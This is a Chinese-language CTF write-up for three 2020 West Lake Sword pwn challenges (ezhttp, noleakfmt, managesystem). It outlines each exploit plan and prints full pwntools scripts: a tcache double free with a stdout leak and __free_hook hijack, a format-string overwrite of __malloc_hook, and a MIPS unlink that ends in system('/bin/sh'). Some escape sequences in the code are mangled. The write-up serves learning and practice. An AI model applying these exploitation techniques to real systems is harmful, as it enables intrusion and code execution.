2020西湖论剑

ezhttp:

题目附件

这一题输入的数据有些麻烦,但是仔细分析还是不难的。memcpy不会被'x00'截断。

利用思路:

  • 泄漏chunk addr,这一步非常简单。
  • 修改_IO_2_1_stdout_泄漏libc地址。其中flag值的高4位可以随便覆盖,不会影响程序。
  • 利用double free修改__free_hook为setcontext。
  • 利用setcnotext构造ROP链或写入汇编orw

完整exp如下:

#!/usr/bin/python
# coding:utf-8
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./ezhttp')
libc = ELF('libc-2.27.so')

def Add(content):
    payload1  = 'POST
/create
' + 'Cookie: user' + '=' + 'admin'  + 'token: ' + '

'
    payload1 += 'content='
    payload1 += content
    p.sendlineafter('==
', payload1)

def Delete(index):
    payload1  = 'POST
/del
' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '

'
    payload1 += 'index=' + str(index)
    p.sendlineafter('==
', payload1)

def Edit(index, content):
    payload1  = 'POST
/edit
' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '

'
    payload1 += 'index=' + str(index) + '&' + 'content='
    payload1 += content
    p.sendlineafter('==
', payload1)

def leak():
    payload1  = 'POST
/del
' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '

' + 'AAA'
    p.sendlineafter('==
', payload1)

def exploit():
    global p
    p = process('./ezhttp')
    Add('A'*0x60) #0
    p.recvuntil('Your gift: ')
    chunk_addr = int(p.recv(14), 16)
    info("chunk_addr ==> " + hex(chunk_addr))

    Add('A'*0xa0) #1

    # 防止chunk倍top chunk合并
    Add('A'*0x20) #2
    Add('A'*0x10) #3

    # double free
    Delete(0)
    Delete(0)

    # 填满tcache,把chunk放入unsortedbin中
    for i in range(7):
        Delete(1)

    Delete(1)

    # 控制tcache,修改main_arena位_IO_2_1_stdout_
    Delete(3)
    Delete(3)
    Delete(3)
    Delete(2)
    Delete(2)

    # 修改tcache 0x30处chunk地址
    Add(p64(chunk_addr - 0x208)) #4
    Add('A'*0x18)

    # 把_IO_2_1_stdout_添加到tcahce[0x30]
    Add(p64(chunk_addr + 0x70))

    # 把_IO_2_1_stdout_放在tcache[0x30]链表头部
    Add('A'*0x20)
    #Add('A'*0x20)

    # 在tcache[0x20]处构造double free
    Delete(3)
    Delete(3)
    Delete(3)

    # 把 &tcache[0x30]放入tcache[0x20]
    Add(p64(chunk_addr - 0x208))

    # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_
    Add('A'*0x8)
    #gdb.attach(p, 'b * $rebase(0x1a78)
c')
    #Add('x60x07xdd')
    Add('x60xf7')

    # 把_IO_2_1_stdout_分配出来,并修改数据
    Add(p32(0xfbad1887) + 'A'*0x1c + 'xc0')

    try:
    # leak libc addr
        libc_base = u64(p.recvuntil('x7f')[-6:] + 'x00x00') - 0x3eba00
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

    setcontext = libc.symbols['setcontext']
    free_hook = libc.symbols['__free_hook']
    _open = libc.symbols['open']
    _read = libc.symbols['read']
    _write = libc.symbols['write']
    _puts = libc.symbols['puts']
    pop_rdi_ret = libc_base + 0x2155f
    pop_rsi_ret = libc_base + 0x23e8a
    pop_rdx_ret = libc_base + 0x1b96

    #rop_chain  = p64(chunk_addr)
    # read函数的第一个参数不一定是4,可以从3开始多次尝试
    rop_chain  = p64(pop_rdi_ret)
    rop_chain += p64(pop_rdi_ret) + p64(chunk_addr + 0x220) + p64(pop_rsi_ret) + p64(0) + p64(_open) # address of flag
    rop_chain += p64(pop_rdi_ret) + p64(4) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_read)
    rop_chain += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_write)
    rop_chain += p64(chunk_addr + 0x170) + p64(pop_rdi_ret)
    rop_chain += 'flagx00x00x00x00'


    # 修补unsortbin
    Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0))

    # malloc 一个chunk把rop_chain写入
    Add('A'*0xe0)
    info("chunk_addr ==> " + hex(chunk_addr))
    Edit(12, rop_chain)

    # double free
    Delete(3)
    Delete(3)
    Delete(3)
    Add(p64(free_hook))
    Add(p64(free_hook))
    Add(p64(setcontext + 0x35))
    Delete(12)
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = exploit()
        if a:
            break

exp2.py如下:

#!/usr/bin/python
# coding:utf-8
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./ezhttp')
libc = ELF('libc-2.27.so')

def Add(content):
    payload1  = 'POST
/create
' + 'Cookie: user' + '=' + 'admin'  + 'token: ' + '

'
    payload1 += 'content='
    payload1 += content
    p.sendlineafter('==
', payload1)

def Delete(index):
    payload1  = 'POST
/del
' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '

'
    payload1 += 'index=' + str(index)
    p.sendlineafter('==
', payload1)

def Edit(index, content):
    payload1  = 'POST
/edit
' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '

'
    payload1 += 'index=' + str(index) + '&' + 'content='
    payload1 += content
    p.sendlineafter('==
', payload1)

def leak():
    payload1  = 'POST
/del
' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '

' + 'AAA'
    p.sendlineafter('==
', payload1)

def exploit():
    global p
    p = process('./ezhttp')
    Add('A'*0x60) #0
    p.recvuntil('Your gift: ')
    chunk_addr = int(p.recv(14), 16)
    info("chunk_addr ==> " + hex(chunk_addr))

    Add('A'*0xa0) #1

    # 防止chunk倍top chunk合并
    Add('A'*0x20) #2
    Add('A'*0x10) #3

    # double free
    Delete(0)
    Delete(0)

    # 填满tcache,把chunk放入unsortedbin中
    for i in range(7):
        Delete(1)

    Delete(1)

    # 控制tcache,修改main_arena位_IO_2_1_stdout_
    Delete(3)
    Delete(3)
    Delete(3)
    Delete(2)
    Delete(2)

    # 修改tcache 0x30处chunk地址
    Add(p64(chunk_addr - 0x208)) #4
    Add('A'*0x18)

    # 把_IO_2_1_stdout_添加到tcahce[0x30]
    Add(p64(chunk_addr + 0x70))

    # 把_IO_2_1_stdout_放在tcache[0x30]链表头部
    Add('A'*0x20)

    # 在tcache[0x20]处构造double free
    Delete(3)
    Delete(3)
    Delete(3)

    # 把 &tcache[0x30]放入tcache[0x20]
    Add(p64(chunk_addr - 0x208))

    # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_
    Add('A'*0x8)
    Add('x60xf7')

    # 把_IO_2_1_stdout_分配出来,并修改数据
    Add(p32(0xfbad1887) + 'A'*0x1c + 'xc0')

    try:
    # leak libc addr
        libc_base = u64(p.recvuntil('x7f')[-6:] + 'x00x00') - 0x3eba00
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

    setcontext = libc.symbols['setcontext']
    free_hook = libc.symbols['__free_hook']
    mprotect = libc.symbols['mprotect']

    #orw  = p64(chunk_addr + 0x268)
    orw  = shellcraft.open("flag", 0)
    orw += shellcraft.read('rax', chunk_addr + 0x300, 0x50)
    orw += shellcraft.write(1, chunk_addr + 0x300, 0x50)

    # 构造满足mprotect和orw的数据
    payload = 'x00'*0x68 + p64(chunk_addr - 0x260) # rsi
    payload = payload.ljust(0x70, 'x00')
    payload += p64(0x1000) # rsi
    payload = payload.ljust(0x88, 'x00')
    payload += p64(0x7) # rdx
    payload = payload.ljust(0xa0, 'x00')
    payload += p64(chunk_addr + 0x70) # rsp
    payload += p64(mprotect)

    # 修补unsortbin
    Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0))

    # malloc 一个chunk把rop_chain写入
    Add('A'*0xe0)
    info("chunk_addr ==> " + hex(chunk_addr))
    Edit(12, payload)

    # malloc chunk写入orw
    Add('A'*0xa0)
    Edit(13, p64(chunk_addr + 0x78) + asm(orw))

    # double free 控制__free_hook
    Delete(3)
    Delete(3)
    Delete(3)
    Add(p64(free_hook))
    Add(p64(free_hook))
    Add(p64(setcontext + 0x35))
    Delete(12)
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = exploit()
        if a:
            break

noleakfmt

题目附件

这题题目给了一个泄漏栈地址的函数,之后就把输出关了。拿到flag一般常规操作就是orw或者getshell。格式化字符串不好布置orw所需的调用链,所以我们考虑getshell。

知识点:

  • 修改_IO_2_1_stdout_的fileno的值为0x2可以从标准错误输出回显打印出的字符
  • printf打印的的字符过多时会调用malloc开辟缓冲区

利用思路:

  • 调用printf函数时会把_IO_2_1_stdout_的地址入栈。通过修改printf的函数返回地址为start可以使栈向低地址生长,这样就可以利用栈中的_IO_2_1_stdout_的地址
  • 修改_IO_2_1_stdout_的fileno的值为0x2
  • 此时打印的字符可回显,泄漏libc地址
  • 修改栈中的数据为__malloc_hook的地址
  • 向__malloc_hook中写入one_gadget
  • 利用printf打印大量字符调用malloc
  • cat flag 1>&2

完整exp如下。脚本可能需要跑很多次:

#!/usr/bin/python3
#-*- coding:utf8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
context.log_level = 'debug'
libc = ELF('libc.so.6')

def pwn(param1, param2, param3, p):
    payload = '%{}c%{}${}'.format(param1, param2, param3)
    p.sendline(payload)

def leak(p):
    p.recvuntil('gift : ')
    stack_addr = p.recv(14)
    addr = int(stack_addr, 16)
    info("addr ==> " + hex(addr))
    return addr
    

def exploit():
    p = process('./noleakfmt')

    start = 0x7b0
    #start = 0x8e0

    # leak stack addr
    addr = leak(p)

    offset = (addr - 12) & 0xffff
    info("offset ==> " + hex(offset))

    # 限制在这个范围才能正常使用%n
    if offset > 0x2000 or offset < 0x66c:
        p.close()
        return 0

    #################################################################
    #gdb.attach(p)
    pwn(offset, 11, 'hn', p)
    # 修改printf的返回值为start,使栈向低地址方向生长
    #gdb.attach(p)
    pwn(start, 37, 'hn', p)

    # 修改_IO_2_1_stdout_中的fileno=0x2
    offset = (addr - 0x54) & 0xffff
    info("offset ==> " + hex(offset))

    # 修改栈数据
    # 这里因为地址问题可能导致程序崩溃
    pwn(offset, 10, 'hn', p)

    # 修改栈中的_IO_2_1_stdout_指针指向fileno
    pwn(0x90, 36, 'hhn', p)
    # 修改fileno的值为0x2
    pwn(2, 26, 'hhn', p)
    #################################################################

    # leak libc address
    #gdb.attach(p)
    pwn(1, 9, 'p', p)
    p.recvuntil('x01x01')
    libc_base = int(p.recv(14), 16) - 0x20840
    libc.address = libc_base
    info("libc_base ==> " + hex(libc_base))

    one_gadget = [0x45226 + libc_base, 0x4527a + libc_base, 0xf0364 + libc_base, 0xf1207 + libc_base]
    malloc_hook = libc.symbols['__malloc_hook']

    # 把__malloc_hook添加到栈上
    pwn((malloc_hook & 0xffff), 36, 'hn', p) 
    # 向__malloc_hook中写入one_gadget
    pwn((one_gadget[3] & 0xffff), 26, 'hn', p)

    pwn(((malloc_hook + 2) & 0xffff), 36, 'hn', p) 
    pwn(((one_gadget[3] >> 16) & 0xffff), 26, 'hn', p)

    pwn(((malloc_hook + 4) & 0xffff), 36, 'hn', p) 
    #gdb.attach(p)
    pwn(((one_gadget[3] >> 32) & 0xffff), 26, 'hn', p)

    p.sendline("%99999c%10$n")
    p.sendline("cat flag 1>&2")

    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = exploit()
        if a:
            break

参考博客

managesystem

题目附件

这是一道mips的pwn题。这是我第一次做mips的题目,花了好长时间才勉强能看懂mips指令。

查看程序保护,发现都没开。

    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

在Edit函数中存在8个字节的溢出。

第一次做mips的题目,对heap的管理机制并不了解。随便试了几次发现和glibc的管理机制差不多。

利用思路

  • 通过unlink控制0x411830,这个地址的内存中存放的是分配出的chunk的地址
  • 修改其中一个chunk的地址为free在got表中的值
  • 泄漏libc地址
  • 修改0x4117b4中的值为system函数的地址
  • 随便向一个chunk中写入/bin/shx00',free这个chunk

exp如下:

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
libc = ELF('./lib/libc.so.0')

DEBUG = 0

if DEBUG:
    p = process(['./qemu-mipsel-static', '-g', '1234', '-L', './', './managesystem'])
else:
    p = process(['./qemu-mipsel-static', '-L', './', './managesystem'])

def Add(length, content):
    p.sendlineafter('options >> ', '1')
    p.sendlineafter('length: ', str(length))
    p.sendafter('info: ', content)

def Delete(index):
    p.sendlineafter('options >> ', '2')
    p.sendlineafter('index of user: ', str(index))

def Edit(index, content):
    p.sendlineafter('options >> ', '3')
    p.sendlineafter('index of user you want edit: ', str(index))
    p.sendafter('info: ', content)

def Show(index):
    p.sendlineafter('options >> ', '4')
    p.sendlineafter('index of user you want show: ', str(index))

chunk_array = 0x411830

Add(0x50, 'A'*0x50)
Add(0x50, 'A'*0x50)
Add(0x50, 'A'*0x50)
Add(0x50, 'A'*0x50)

payload  = p32(0) + p32(0x51)
payload += p32(chunk_array - 0xc) + p32(chunk_array - 0x8)
payload += 'A'*0x40
payload += p32(0x50) + p32(0x58)
Edit(0, payload)

Delete(1)

payload = 'x00'*8 + p32(0x411830) + p32(0x50) + p32(0x4117b4) + p32(0x50)
Edit(0, payload)

Show(1)

p.recvuntil('info: ')
libc_base = u32(p.recv(4)) - 0x56b68
libc.address = libc_base
info('libc_base ==> ' + hex(libc_base))

system = libc.symbols['system']

Edit(1, p32(system))
Edit(2, '/bin/shx00')
Delete(2)

p.interactive()

参考博客

原文地址:https://www.cnblogs.com/countfatcode/p/13851783.html